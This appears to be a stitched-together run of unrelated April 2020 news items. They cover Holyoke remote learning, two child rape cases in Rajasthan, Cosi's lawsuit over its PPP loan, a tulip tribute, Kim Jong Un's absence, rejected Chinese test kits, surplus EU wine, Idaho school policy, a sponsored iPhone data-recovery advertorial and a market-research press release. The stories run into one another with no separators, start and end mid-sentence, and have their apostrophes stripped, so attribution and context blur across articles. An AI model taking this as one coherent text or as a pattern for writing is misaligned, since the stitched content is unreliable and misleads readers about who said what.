drive to Springfield seemed a lot faster for Renee Overton. That day was a lot less than five hours, she said. Renee Overton expressed her sympathy for the people who were killed that night but remains thankful that she was able to see and hug her son. It could have been worse, she said. Staying with her son for three weeks after the shooting, Renee Overton was impressed by how much support he received from his fellow police officers. The hospital was full of officers, theyre all so wonderful, she said. Were very proud of him and he just loves being a police officer. HOLYOKE The Holyoke Public Schools remains focused on remote learning and summer school to combat learning loss. School Receiver Dr. Stephen Zrike told the School Committee on Monday that the district continues to refine plans for the current summer and fall sessions, with an emphasis on academics and students social/emotional well-being. The Massachusetts Department of Secondary and Elementary Education sent the Holyoke Public Schools three separate guidelines for remote learning in the last month, he said. Were trying to keep some semblance of teaching and learning going for the rest of the year and into the summer, he said. Valerie Annear, the districts Chief Instruction Officer, outlined a four-phase plan for remote learning and summer school. She said the plan accounts for the needs of staff, students and parents. We do understand that this is a unique situation. Its a once in a lifetime, unprecedented crisis were dealing with, Annear said. We do recognize theres a difference between remote learning as it would be traditionally implemented versus crisis learning. Annear cautioned the plan would undergo revisions as the district gathers more information from stakeholders and receives additional state guidance. Remote learning includes online and offline opportunities that engage students in meaningful learning that reinforces and deepens skills sand concepts already explicitly taught, Annear said while maintaining in-classroom standards. The plan seeks to establish communication and expectations with parents, provide greater access to learning resources, refine state guidelines, and plan for summer school and fall opening. While the district looks to boost online learning, hands-on materials are also vital, she said. In mid-March, the citys schools shifted to an at-home model. The remote model includes a website to access lessons and low-tech options. The district distributed over 1,100 Chromebooks, increased internet access and developed academic care packages. The city and Comcast reached an agreement to offer no-cost or low-cost internet service. We prioritize distribution to our students who are in homeless shelters first, and then we distributed the remainder of our bags across our food sites, Annear said. The care packages include books, games, math materials, stress balls and hand sanitizer. Annear said her staff began working on summer school programming in April. We need to plan for multiple modalities for summer school to take place, she said, which includes remote, face-to-face or a combination of both. Social distancing rules would likely apply for inperson summer classes. Annear said she began mapping out the first eight weeks of the fall term. Rajasthan reported two separate incidents of suspected rape of minors from Ajmer and Sirohi districts o n Monday, according to the police. In Ajmer, an unidentified person abducted an 11-year-old girl at around 4 am on Monday from the courtyard of the house, where she was sleeping with her parents. Her mother woke her father when she found that their daughter was missing on Monday early morning, said Mahaveer Sharma, station house officer (SHO), Kekri police station, Ajmer district. An hour later, her parents found her in a field about a kilometre away from their home and her clothes were stained in blood. The parents lodged a first information report (FIR) on Monday and a case was registered against the unknown accused under the Protection of Children from Sexual Offences (POCSO) Act, 2012, and Sections 376 (rape), and 363 (kidnapping) of the Indian Penal Code (IPC), SHO Sharma said. In Sirohi district, a 15-year-old minor girl was allegedly abducted and raped for three consecutive days by a person known to her. On Monday, the accused dropped the rape survivor at her home after which she shared the ordeal with her parents. Sumer Singh, station house officer (SHO), Pindwara police station, Sirohi district, said that on April 23 after the family finished their dinner, the teenagers mother told her to lock the entrance gate of the house. When she went near the entrance gate, one of her friends in the neighbourhood called her. While she going to her friends house, the accused, who is known her, kidnapped her by gagging her mouth. She was taken to a nearby government-run school, which is closed because of the ongoing nationwide lockdown restrictions to prevent the spread of the coronavirus disease (Covid-19) outbreak, and raped her for three consecutive days, said SHO Singh. On Monday, her family members filed an FIR. A case was registered under the POCSO Act and Section 376 (rape) and other relevant sections of the IPC. The rape survivors statement has been recorded. Her medical reports are awaited, but further investigations are on, he added. Fast casual restaurant Cosi sued the Small Business Administration on Tuesday, alleging it illegally denied its $3.7 million emergency loan request on grounds that the company is currently undergoing bankruptcy proceedings. The Charlestown, Massachusetts-based flatbread chain filed a lawsuit on Tuesday in the U.S. bankruptcy court for the District of Delaware, arguing that the company should be eligible, under the CARES Act, to apply for Paycheck Protection Program loans designed to help small businesses keep employees on payroll amid the novel coronavirus. In a five-count complaint, requesting that the court enjoin the SBA from excluding Cosi and other bankruptcy debtors from access to PPP funds, the food chain alleges that the exclusion is discriminatory, exceeds authority under the CARES Act, and is arbitrary and capricious. No law, regulation, or rule of any kind disqualifies, or authorizes the SBA to disqualify, bankruptcy debtors from participating in the PPP, the complaint states. According to Cosi, holding back PPP funds from companies in bankruptcy runs counter to the stated purposes of the CARES Act. Cosi filed for Chapter 11 bankruptcy on Feb. 24, before the number of coronavirus cases exploded in the U.S. Under Chapter 11, the company has an opportunity to reorganize its debt and emerge as a viable company without having to liquidate all of its assets and shut down operations. UNITED STATES - 2011/08/11: Cosi eatery. (Photo by John Greim/LightRocket via Getty Images) Cosi is no stranger to utilizing Chapter 11 to protect its assets from its debtors; it had also filed for bankruptcy in 2016 and emerged a year later. The company, which operates restaurants mostly in the Northeast, has continued to offer pick-up and delivery during the COVID-19 outbreak, but represented to the court that its sales had decreased more than 80% below its pre-filing projections. One check box While the SBA has made it clear that it does not permit companies in bankruptcy to apply for PPP funds, the agency is coming under fire in a handful of lawsuits alleging that the agencys rule discriminates against companies in bankruptcy. Story continues Cosi, in its complaint, cites an April 24 ruling from a Texas judge in the states southern district that stripped the SBA of its power to enforce the bankruptcy exclusion, and thereby allowed the plaintiff Hidalgo County Emergency Service Foundation to submit an application for PPP funds. In Hidalgo, according to Cosis complaint, the Texas court rejected and deemed frivolous the SBAs argument that distribution of PPP funds to debtors in bankruptcy would leave the agency with insufficient control over the debtors use of funds. The court described the SBAs bankruptcy exclusion as discriminatory. But the SBA and the U.S. Treasury have made it clear that bankrupt companies are not eligible. The first question on its PPP application asks if the prospective borrower is presently involved in any bankruptcy. If the yes box is checked, then the loan will not be approved. The first question on the SBA's application for PPP funds asks if the borrower is in bankruptcy proceedings. According to the complaint, Cosi submitted applications through Bank of America and JPMorgan Chase, but was denied by both lenders based on its answer to the bankruptcy application question. Cosi argues that the CARES Act, which appropriated the first round of $349 billion in loans for the program, never specifically stated that the SBA had to box out companies in bankruptcy. However, contrary to both the Bankruptcy Code and its own governing laws and rules, the SBA has, without notice or justification, adopted a position that bankruptcy debtors are ipso facto ineligible to participate in the PPP, the court filing reads. While the lawsuit is pending, Cosi is asking that the SBA set aside and be prevented from disbursing the $3.7 million it requested. Cosi is also asking the SBA to reverse its stance by declaring companies working through bankruptcy as eligible for PPP funds. Why not bankrupt companies? Harvard Law professor Mark Roe told Yahoo Finance that bankruptcy could cut a couple of different ways under the SBAs language. One, is companies that might be able to get out of bankruptcy with the PPP money cant get it, he said. It also gives companies an incentive to not file, or at least not file right away, so that they can get the PPP money and hope that staves off of bankruptcy. Cosi argues Roes first point: That the CARES Act exclusion compromises the companys chances for emerging from Chapter 11 reorganization. But the main challenge for the SBA is parsing businesses struggling as a result of COVID-19 from businesses that happen to be struggling during COVID-19. With the breadth and duration of the shutdowns, Cosi contends that the SBA cannot make this distinction. Prior to the onset, the Debtors were executing their business plan in an attempt to successfully reorganize the company, the complaint states. But now, virtually overnight, their income has been reduced to a trickle, severely jeopardizing their chances of reorganizing and remaining in business if the impact of the pandemic continues. Barring its bankruptcy proceedings, Cosi claims to have met all of the PPPs other requirements. Other companies in Chapter 11 have gotten creative in circumventing the PPP exclusion. In the U.S. bankruptcy court for the Southern District of Florida, Advanced Power Technologies moved to voluntarily dismiss its own Chapter 11 case to apply for a PPP loan, presumably to then re-file for bankruptcy. The SBA declined to comment for this story, citing pending litigation. Cosi did not respond to a request for comment and Cosis attorneys from firm Cozen O'Connor declined to comment. Brian Cheung is a reporter covering the Fed, economics, and banking for Yahoo Finance. You can follow him on Twitter @bcheungz. Alexis Keenan is a reporter for Yahoo Finance and former litigation attorney. Follow Alexis Keenan on Twitter @alexiskweed. A tulip grower in Noordoostpolder in the Netherlands has named a new variant of tulip stay strong as a tribute to front line health care workers and transformed a field to display artwork and #staystrong, video shared on April 25 shows. Sales of the flowers, developed by Joris Schouten and Frank Timmerman, will benefit Doctors Without Borders. Drone footage recorded by Jhon Koopman shows the giant tribute to health care workers in the middle of a tulip field. The camera then focuses on Jenny Groen, who is christening the new stay strong tulip in a ceremony in the middle of the field. The traditional Dutch christening of the tulip was delegated to Groen, an ICU nurse working at a hospital in Amsterdam. She gave the tulip the name stay strong to pay tribute to health care workers. Stay strong is a mix of red and yellow tulips and was part of the display featured in the video. The logo in the field shows a strong fist, symbolizing the impressive perseverance of doctors and nurses, Koopman told Storyful. The tulips are being grown for an initiative called Stay Strong Flowers, which is raising money for Doctors Without Borders. Groen, who is also involved with Stay Strong Flowers, has previously worked with Doctors Without Borders in South Sudan. The design for the logo is by Floor van Paassen of Zuiverwerk. The execution was done by a company called Geoservice Landmeetkunde, according to reports. The field consists of a total of 3 million to 4.5 million tulips and covers approximately 7.5 acres (three hectares). The Stay Strong tulips and tulip bulbs can be pre-ordered from Stay Strong Flowers. The Netherlands reported 38,440 confirmed cases of coronavirus and 4,566 deaths from COVID-19 on April 28. Credit: Jhon Koopman via Storyful North Korea's official Korean Central News Agency (KCNA) shows North Korean leader Kim Jong-Un delivering a statement in Pyongyang on Sept. 22. He was responding to a speech made by the U.S. president at the UN General Assembly on Sept. 21, 2017. (STR/AFP/Getty Images) South Korea Minister, US Sources, Say Kim May Be Sheltering From Virus SEOUL/WASHINGTONFear of the CCP virus could have been keeping North Korean leader Kim Jong Un out of public sight, a South Korean minister and U.S. sources said on Tuesday, following intense speculation and concern as to his whereabouts and health. Under Kims rule since 2011, North Korea has expanded its arsenal of nuclear weapons and long-range missiles, and with no obvious successor, any change in leadership in the secretive, authoritarian state would raise concerns about instability that could impact other North Asian countries and the United States. Speculation about Kims health erupted after his unprecedented absence from April 15 celebrations to mark the birthday of his late grandfather and North Koreas founder, Kim Il Sung. South Korean Unification Minister Kim Yeon-chul, who oversees engagement with North Korea, said it was plausible that Kim decided against attending due to the coronavirus, given stringent steps his government has taken to head off an outbreak. He had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been canceled because of coronavirus concerns, the minister told a parliamentary hearing. I dont think thats particularly unusual given the current (coronavirus) situation, the minister said, although North Korea has said it has no confirmed cases of the coronavirus. An authoritative source familiar with U.S. intelligence assessments said credible reports to the U.S. government suggested the reason Kims presidential train had been spotted near a presidential retreat at the resort of Wonsan last week was that Kim had been staying there to avoid catching the virus. U.S. government experts lacked categorical evidence to prove this, but were, for the most part, dismissing media reports suggesting that Kim had contracted some kind of serious illness, the source said. Kim Yeon-chul described reports that Kim had undergone a heart procedure, and that a Chinese medical team had traveled to North Korea, as fake news. A U.S. official, who spoke on condition of anonymity, said Washingtons view was largely in line with the South Korean ministers assessment. U.S. President Donald Trump said on Monday he has a good idea of how Kim Jong Un is doing and hopes he is fine, but would not elaborate. On Tuesday, Trump was asked by a reporter about these comments and whether he thought Kim was still in control of North Korea and replied: I dont want to comment on it. I just wish him well. Trump has met Kim three times in an attempt to persuade him to give up a nuclear weapons program that threatens the United States as well as its Asian neighbors. While talks have stalled, Trump has continued to hail Kim as a friend. Train And Boat Watching The South Korean minister noted that there had been at least two instances since mid-January when Kim Jong Un had not been seen in public for nearly 20 days. The last time official media in North Korea reported on Kims whereabouts was when he presided over a meeting on April 11, but there have been near-daily reports of him sending letters and diplomatic messages. South Korean officials have said they have detected no unusual movements in North Korea and have cautioned against reports that Kim may be ill. Washington-based North Korea monitoring project 38 North said on Saturday satellite images from last week showed a special train that was probably Kims at Wonsan, lending weight to reports he had been spending time in the resort area. Satellite image 2020 Maxar Technologies-38 (North/Handout/Reuters) On Tuesday, the website NK News said leisure boats often used by Kim off the coast of Wonsan had been active throughout this month, indicating his likely continued presence in the area. Reuters reported on Saturday that China had dispatched a team to North Korea, including medical experts to advise on Kim Jong Un, though it was unclear what the trip signaled in terms of his health. Japanese Prime Minister Shinzo Abe said he was paying close attention to developments. North Korea has responded to the global coronavirus pandemic by canceling some large events and imposing a border lockdown and quarantine measures. If Kim Jong Un is hiding out due to fears surrounding COVID-19, it would puncture a hole in the state media narrative of how this crisis has been perfectly managed, said Chad OCarroll, CEO of Korea Risk Group, which monitors North Korea. North Korean leader Kim Jong Un (C) arrives at the Dong Dang railway station in Dong Dang, Lang Son province, Vietnam, on Feb. 26, 2019. (Nhac Nguyen /AFP/Getty Images) If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim, he said. By Hyonhee Shin and Mark Hosenball Filmmaker Farah Khan on Monday thanked actor Abhishek Bachchan for donating Rs 1 Lakh and supporting the COVID-19 charity drive by Farah's daughter Anya. Anya has been raising money for the animals to help them amid the Coronavirus pandemic. After actress Tabu and filmmaker Zoya Akhtar, actor Abhishek Bachchan has contributed to her initiative. Abhishek recently came forward and gave Rs. 1 lakh for Anya Kunder's sketch and Farah couldn't contain her excitement. The 55-year-old director took to Instagram and shared two pictures. The fist image features the director herself with Bachchan while she hugs her tightly while the second one features her daughter Anya holding the sketch of a puppy with a placard hung in his head that read, "Thank You." Farah wrote, "Who gives 1 LAKH for a sketch?? Only @bachchan ..that straightaway doubles Anya s charity drive! Thank u my mad, big hearted crazy boy bigggggg huggggg cming up which u will hate i know." (sic) A lot of actors were all praise for Farah's daughter for her initiative. Hrithik Roshan wrote, "too sweeet" while others like Preity Zinta, Sonali Bendre, Patralekhaa were all hearts for Anya. The money raised by auctioning the sketches will be used to deliver food packages to the needy and to feed the stray animals as coronavirus-induced countrywide lockdown continues to remain in place. A day after the Indian Council of Medical Research (ICMR) asked all states to stop using rapid testing kits imported from two Chinese companies with immediate effect, Ji Rong, Spokesperson and Counselor of Chinese Embassy in India, has said China is "deeply concerned" with the evaluation results and the Indian Council of Medical Research's decision. Saying that China attaches great importance to the quality of exported medical products, the Embassy maintained it's in talks with the ICMR and the two Chinese companies on the matter. The embassy said the companies concerned -- Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics -- had already issued statements, saying the COVID-19 antibody rapid test kits had obtained the certification from the National Medical Products Administration of China (NMPA), and that they meet the quality standards of China. The kits were also approved by the ICMR through the National Institute of Virology (NIV), Pune, and were considered as "satisfactory products", it said. Other than India, the COVID-19 antibody rapid test kits produced by these Chinese companies had also been exported to many countries in Europe, Asia and Latin America, the embassy clarified. Also read: Coronavirus crisis: Congress slams govt for allowing 'hoarding', profiteering on rapid test kits sold to ICMR The embassy said it was "unfair and irresponsible" for certain individuals to label Chinese products as "faulty" and look at issues with preemptive prejudice. "The Indian side could respect China's goodwill and sincerity, strengthen communication timely with relevant Chinese companies based on facts, and resolve it reasonably and properly," the embassy said. It said following India's epidemic situation, China has been sharing its experiences in epidemic prevention, control and treatment, and donated medical materials to India. "We will continue to support India's efforts in fighting COVID-19," it added. Also read: Meet Kripa Shanker Gupta, the man who supplied coronavirus test kits to ICMR at 145% mark-up Notably, some states have raised issues regarding the performance of rapid antibody test kits procured from Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics, The ICMR has evaluated the kits in field conditions, and the results have shown "wide variation" in their sensitivity despite the early promise of good performance. The ICMR on Monday told states to stop using these kits and return them to be sent back to the Chinese suppliers. Also read: Massive 145% profiteering exposed in coronavirus rapid test kits sold to ICMR Apple offers one of the robust data backup and restore techniques using iCloud on iPhones and iPads. You might have come across situations where you are locked out of your iPhone due to repetitively entering the wrong passcode or the device getting stuck at the startup screen while installing a new buggy update. There can also be situations where you end up accidentally deleting some data from your iPhone. Users can also lose data accidentally while trying to jailbreak their iPhones. In such cases, recovering data using iCloud or iTunes isnt as straightforward as it seems. If you are facing the above-mentioned problems and having a hard time recovering lost or deleted data on your iPhone, you can opt for iMyFone D-Back software which recovers the deleted data with ease. Recover Lost or Deleted Data on iPhone or iPad iMyFone D-Back Features iMyFone D-Back offers several ways (from iTunes backup file, iCloud, and iOS device) to recover lost data. In this post, we will guide you through each option to recover lost or deleted iOS data. iMyFone D-Back has got you covered on privacy front too. The software doesnt store your data or iCloud account info so you can use it without worrying about privacy. Lets get started with the Smart Recovery mode. Download: iMyFone D-Back iOS Recovery Use Smart Recovery Mode Step 1: First, you need to download iMyFone D-Back from their website using the link provided above. The company offers both Mac and Windows versions of the app. Step 2: Launch iMyFone D-Back and select Smart Recovery at the upper left corner and tap on the start. Step 3: The software will ask you to select the reason for the lost data. Based on your input, it will navigate you to the recommended mode to recover data. Lets talk about them. How to Recover Date From an iPhone or iPad If the user has deleted the iPhone data by accident or if you have locked the iPhone by incorrect passwords, then iMyFone D-Back will suggest you use Recover from the iOS device option. Follow the steps below. Step 1: Open iMyFone D-Back and select Recover from iOS Device option. Step 2: Connect your iPhone to the laptop/PC using the data cable. Step 3: The software will identify your device on the screen. Select Next. Step 4: Now, select the type of files that you like to recover. Click Scan and the software will start to look for the deleted data from your device. Step 5: The scanning time will vary based on the data size on the device. After the successful syncing, you will see a neatly organized data like the picture below. Step 6: You can select each tab to preview files or use the Show only deleted files to preview the lost files. Select the files you want to recover, and then click Recover at the bottom right corner. A pop-up window will ask you to choose the location to store the recovered files. Recover Data from iTunes Backup iMyFone D-Back allows you to restore data using the iTunes backup. Step 1: Launch the program and navigate to Recover Data from iTunes Backup option. Step 2: Hit start and it will showcase the stored iTunes files with backup date, backup name, model, and device serial number. Step 3: If its not showing up for you then you can manually import a backup file from the PC. From the following screen, choose the items to recover and it will look for the data in the backup file. Step 4: Select the scan and the software will showcase the files. Choose the relevant files and hit Recover at the bottom right corner. You need to select the recovery path and iMyFone D-Back will recover the data to that location. How to Recover Data from iCloud As I mentioned earlier, iOS keeps the default data backup on the iCloud platform. You can use the recover data from iCloud option to recover the lost data on your iPhone. Open iMyFone D-Back and go to Recover Data from the iCloud menu. Hit start and log in using Apple account credentials and authenticate yourself. Here, you have two options to choose from. You can either recover data from the iCloud Kit or use the iCloud backup to access lost data. Lets talk about the first option. Recover from iCloud Kit Step 1: From the current screen, choose the category to recover data from iCloud and click on Scan. Step 2: Choose the relevant files from the following screen and hit the Recover button at the bottom. Now, choose the location on the computer to restore the data. Voila! You have successfully recovered your files. Recover from iCloud Backup Step 1: Open the app, go to Recover Data from iCloud. Sign in using the Apple account. From the iCloud screen in the program, select the iCloud backup option. Step 2: Verify yourself and select the files category from the following screen. It will display the neatly organized files/images on the program. Choose the relevant files and hit Recover at the bottom. Unfortunately, this method doesnt work with iCloud backup from iOS versions 11.2 and above. In that case, you are better to go with the recovery from the iCloud kit option. Fix Several iOS Issues iMyFone D-Back isnt limited to recovering lost data on the iPhone. The software also provides solutions for common issues like while/black screen, device stuck on Apple logo/recovery mode, restarting loops, iTunes errors, bricked iOS. Devices, freezing screen, and more without data loss. Open the software and go to Fix iOS System -> Standard Mode to fix the issues. Users can repair the iOS device stuck on Recovery Mode with only one click by selecting the second option Enter/Exit Recovery Mode. Advanced mode is for someone who has forgotten the passcode of the device. You can also use this option if the standard mode doesnt fix the issue for you. You can also learn how to retrieve deleted text messages from an iPhone or iPad using iMyFone D-Back. iMyFone D-Back Availability and Price iMyFone D-Back is available as a free download on Windows and Mac. The free version, however, wont let you recover the data or fix the issues. Its strictly limited to scanning iTunes backup and preview data. You can buy the full version at $49.95 per year for 1 iOS device or opt for the lifetime plan which starts at $69.95 for 5 iOS devices. iPhoneHacks readers can get an exclusive 40% discount on the one-year plan when you use the coupon code A24S2T. iMyFone D-Back can be your ultimate go-to solution to fix the common iPhone problems and recover the deleted data on the device. iMyFone also offers AnyRecover Mac data recovery software, which offers a comprehensive solution to recover computer data instead of iPhone data, which can come in handy if your Mac or Windows PC has crashed or you have accidentally deleted files. Note: This is a sponsored post. The sponsored posts are not endorsements for the products or services. It helps us to make extra revenue to keep the website running, which you can read for free. Please support our sponsors by using their products. A billion litres of European wine could end up as industrial alcohol as the coronavirus pandemic hits the bottle hard. French MEP Eric Andrieu, from the winemaking Aude region, has warned that a lack of storage following widespread bar, restaurant and shop closures coupled with a drop in exports has led to more wine than vineyards can cope with. He said that border closures mean that wine due for export or sale has been left in tanks. It means there is a shortage in storage for the 2020 harvest, due to be collected in a few months time, The Drinks Business reported. He said: 'Distillation is an alternative, certainly less remunerative than the sale of wine, but one which will allow wine growers to get by and to be able to also harvest in 2020.' MEP Eric Andrieu, above, said 'small producers risk going out of business' if the European Commission does not step in to help the wine industry Current rules mean Brussels must authorise requests to distill wine into alcohol. Andrieu said the European Commission should step in because it 'has the legal and financial tools' to help the market Andrieu has now called on the European Commission to step in, and warned the situation could have 'serious repercussions' on employment. 'The European Commission has the legal and financial tools to intervene in the market in times of crisis. If it doesn't do that now, small producers risk going out of business,' he told The Times. There are at least 10 million hectolitres of unsold wine in France, Spain and Italy, he added. The coronavirus crisis has also caused a 30 per cent fall in volume and 50 per cent drop in value of the EU wine market, a statement from the European wine trade group Comite Europeen des Entreprises Vins (CEEV) revealed. And this week President Macron's government, with support from Italy and Spain, asked the European Commission to approve a 'crisis distillation' programme. A letter sent to the Commission said: 'The crisis we are experiencing is unfortunately only the beginning of a long period. 'The volumes not sold during these months will not only weigh on the market for the coming seasons but, in many regions, will hamper the next harvest due to the lack of storage capacity in the cellars.' Current rules mean Brussels must authorise requests to distill wine into alcohol. Two men work in a vineyard in Llucmajor on the Spanish island of Mallorca on April 15 2020 amid a national lockdown. Spain, Italy and France have asked the EU to approve a crisis distillation programme The unsold wine would be used for industrial products to make hand sanitiser, solvents or cosmetics, officials told The Times. The 'immediate opening of a European crisis distillation' was requested for the wine sector, which has been 'greatly disrupted by this pandemic and on which the economy of entire regions depends's. Winemakers are asking for 80 cents in public money for every litre they turn into alcohol. They want more than half - 45 cents - from national governments and the rest from the EU. The CEEV trade group has implemented a Covid-19 'emergency package' to mitigate the devastating effects on the industry and bolster company finances Jean-Marie Barillere, President of CEEV, warned that 'we should all understand that what we are facing is no short-term crisis. It will take time and require investments to recover wine markets'. The CEEV stated that all members, which account for over 90 per cent of European wine exports, reported a fall in exports since January. Barillere added: 'In the short term, we need to consider that the reduced wine sales and the high level of wine stocks may provoke problems in the normal balance of the wine market.' The trade group has implemented a Covid-19 'emergency package' to mitigate the devastating effects on the industry and bolster company finances. Ignacio Sanchez Recarte, Secretary General of CEEV, said such measures should focus on the 'preservation of wine companies and their finances, while recovery measures should focus on rebuilding wine markets'. Many producers have also been left with huge quantities of unused bottles in cellars after Donald Trump imposed a 25 per cent tariff on French wine last autumn, resulting in a drop in US exports They have asked the European Commission to allow for flexibility for promotion programmes, a temporarily reduced VAT on wine products and 'a modern framework for distance selling'. It is critical that the wine sector recovers on export markets, they added. 'A quick resolution of the commercial dispute with the USA is needed as well as further efforts to gain access to other markets,' Recarte said. He added that in the future 'legal adaptations are needed to dynamize the aromatised wine products category and the creation of the non-alcohol and low alcohol wine categories'. Alexandre They, 48, chairman of the Independent Winemakers Federation, said that Brexit had also caused many problems for the industry Alongside restrictions because of coronavirus, many producers have also been left with huge quantities of unused bottles in cellars after Donald Trump imposed a 25 per cent tariff on French wine last autumn, resulting in a drop in US exports. Alexandre They, 48, chairman of the Independent Winemakers Federation in the Aude said that Brexit had also caused many problems for the industry. 'A lot of vineyards say their cellars are already full and they simply have nowhere to put this year's harvest,' he told The Times. He told the paper that distillation was a better option, although 'it will break our hearts' because 'Wine involves a year of work and a year of culture and we do not do that to see it turned into alcohol. But there is no other way'. Source: Xinhua| 2020-04-27 22:14:29|Editor: huaxia Video Player Close Technical team members work in the control room of the Syrian Educational TV in Damascus, Syria, April 23, 2020. As the Syrian government suspends schools amid the COVID-19 spread, students continue their education on TV at home as the government uses an educational channel to broadcast lessons. (Photo by Ammar Safarjalani/Xinhua) DAMASCUS, April 27 (Xinhua) -- As the Syrian government suspends schools amid the COVID-19 spread, students continue their education on TV at home as the government uses an educational channel to broadcast lessons. The educational channel used to broadcast two hours in the morning and two hours in the evening ahead of the COVID-19 crisis. Following closure of schools due to the pandemic, the channel has been activated in full swing with a daily broadcast of 12 hours to help the students make up for the missed lessons. For many, this solution is effective through good interaction between the students and the teachers who are giving the lessons over the air. The channel now covers all curriculums from the elementary school to the high school. The aired programs and lessons are also posted on YouTube so that the students can watch them again. Yazan Safarjalani, a 15-year-old student, told Xinhua that learning on TV and online is a good way to continue his education at home amid the COVID-19 crisis. "We had to stay at home to study and rely on the educational lessons offered on TV and the internet. These methods are a good solution, even though not as comprehensive as the education in schools, but it's a good alternative to make up for the missed lessons," he said. His sister, Yara Safarjalani, a sixth-grader, said that taking lessons from TV and online is a new way of learning that they have never experienced before. Mazen Abdul-Karim, an English school teacher, told Xinhua that TV plays a role in offering educational materials for the students during the COVID-19 spread. For his side, Wael Shahin, the manager of the educational channel, the experience is "very good," adding that all programs and lessons are optimized. Enditem Tele actor Hina Khan recently revealed during an interview that Bigg Boss and COVID-19 quarantine has no comparison. Fashionista Hina Khan, who did her acting debut with Yeh Rishta Kya Kehlata Hai, is among the most talented stars who enjoys a huge fan base. From conquering hearts on small screens to representing her nation in International markets during her Cannes debut, no doubt Hina Khan is an allrounder and misses no chance of proving herself. Recently, while interacting with a media portal, Hina Khan revealed her quarantine life. Hina Khan said that staying in the house of Bigg Boss and COVID-19 quarantine has nothing in common as in Bigg Boss, the contestants are far away from their family members and are under camera surveillance without money and gadgets but during quarantine she is with her family at her home and feels very fortunate. She added that though, she is not able to able to move out but has a sigh of relief that she is together with her family. She added that she is also busy with her household chores and keeps entertaining herself by making new videos for her fans on Instagram. From turning a teacher in educating people in taking precautions and making masks to entertaining fans with full of drama videos, Hina Khan is the master of all jacks and knows how to garner attention. Also Read: Anup Jalota wishes to see Ranbir Kapoor and Kareena Kapoor Khan in his biopic Hina Khan also revealed that even after the lockdown gets over, it will take time to get things back to normal. She added that she doesnt have big plans for the lockdown but wishes, everything gets back to normal. Recently, Hina Khans short film Smartphone also released which showcased a new side of Hina Khan to her fans. For all the latest Entertainment News, download NewsX App What an incredibly disruptive time we find ourselves in as a result of the COVID-19 pandemic. We are working and learning from home, watching unemployment numbers rise, checking websites that count daily virus numbers and hoping for eventual return to some form of normality. Young people in their junior and senior years of high school are wondering what all of this will mean for their plans before and after graduation. For our soon-to-be graduates, Idahos higher education institutions are working with high schools to answer questions as best they can and heres where things stand on some priority issues. Dual Credit Courses Like all other courses, college credit-bearing dual credit courses are now conducted through distance learning and as a result of the disruption, high schools may grade these courses as pass/fail rather than the standard letter grade. Because these are college-level courses with college credit granted by the higher education institutions, the grading standards for dual credit courses taught in high school are the same as those taught on the college campus. All eight of our public institutions are working with high schools to identify the best way to serve these students when it comes to grading these courses. When a student earns credit in a dual credit course, regardless of the grading methodology used, those credits will be accepted by all eight of Idahos public institutions. If a student attends an Idaho college other than the one that awarded the dual credit, that credit will be accepted. Advanced Placement Testing There are many juniors and seniors who have invested countless hours preparing for Advanced Placement (AP) tests, only to see those tests postponed as a result of the health crisis. The College Board is working to administer those tests to students at home and each test will last 45 minutes. Students who score a 3 or better (the range is 1-5) will earn college credit at all Idaho public higher education institutions. College Entrance Exams/Graduation Requirements In Idaho, a student must take the SAT or ACT college entrance exam in order to graduate. However, the State Board of Education waived that requirement for seniors who havent yet taken the exam this year and will be looking at an administrative rule change for juniors who could not take the exam this year due to the pandemic and will be graduating next year. SAT School Day, (when most juniors take the test) normally held this time of year statewide, has been canceled. The State Department of Education is looking at two options for students who are juniors this year: Potentially schedule SAT School Day next fall; A testing fee waiver enabling students to choose a date to take the SAT on a date when it is administered. The College Board is planning to provide monthly SAT opportunities throughout the summer if social distance restrictions allow. The Board also waived the Senior Project graduation requirement for this year and the spring 2020 ISAT (not a graduation requirement) has also been waived. We are also working with our institutions to determine how scholarships will be awarded this year and how the waiver of the college entrance exam scores will affect our Direct Admissions and Apply Idaho programs. Ill keep you updated as decisions are made. Our goal at the State Board of Education, the State Department of Education, the Division of Career Technical Education, our higher education institutions and at our high schools is to finish out this academic year while doing the best we can for our students. This COVID-19 event will certainly produce lingering memories of a difficult time. We hope those memories will reflect well on how Idahos public education system adapted for students and for their futures. We are striving to make that happen. You can read more about these actions and guidance the Board developed for our K-12 system on the State Board of Education website: boardofed.idaho.gov/coronavirus-covid-19-resources. Debbie Critchfield is the president of the Idaho State Board of Education Love 1 Funny 0 Wow 0 Sad 0 Angry 0 [April 28, 2020] Language Learning Games Market 2019-2023 | Use of 3D Language Learning Games to Boost Growth | Technavio Technavio has been monitoring the language learning games market and it is poised to grow by USD 2.28 billion during 2019-2023, progressing at a CAGR of almost 25% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005751/en/ Technavio has announced its latest market research report titled Global Language Learning Games Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Duolingo Inc., Early Lingo, Hasbro Inc., KLOO, Mark Media Corp., MindSnacks Inc., NetDragon Websoft Holdings Ltd., Rosetta Stone Ltd., Three Flip Studios, and Top Line Solutions Pte. Ltd. are some of the major market participants. The use of 3D language learning games will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Use of 3D language learning games has been instrumental in driving the growth of the market. Language Learning Games Market 2019-2023: Segmentation Language Learning Games Market is segmented as below: End-user Kids Adults Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR31977 Language Larning Games Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our language learning games market report covers the following areas: Language Learning Games Market Size Language Learning Games Market Trends Language Learning Games Market Industry Analysis This study identifies increasing access to digital platforms as one of the prime reasons driving the language learning games market growth during the next few years. Language Learning Games Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the language learning games market, including some of the vendors such as Duolingo Inc., Early Lingo, Hasbro Inc., KLOO, Mark Media Corp., MindSnacks Inc., NetDragon Websoft Holdings Ltd., Rosetta Stone Ltd., Three Flip Studios, and Top Line 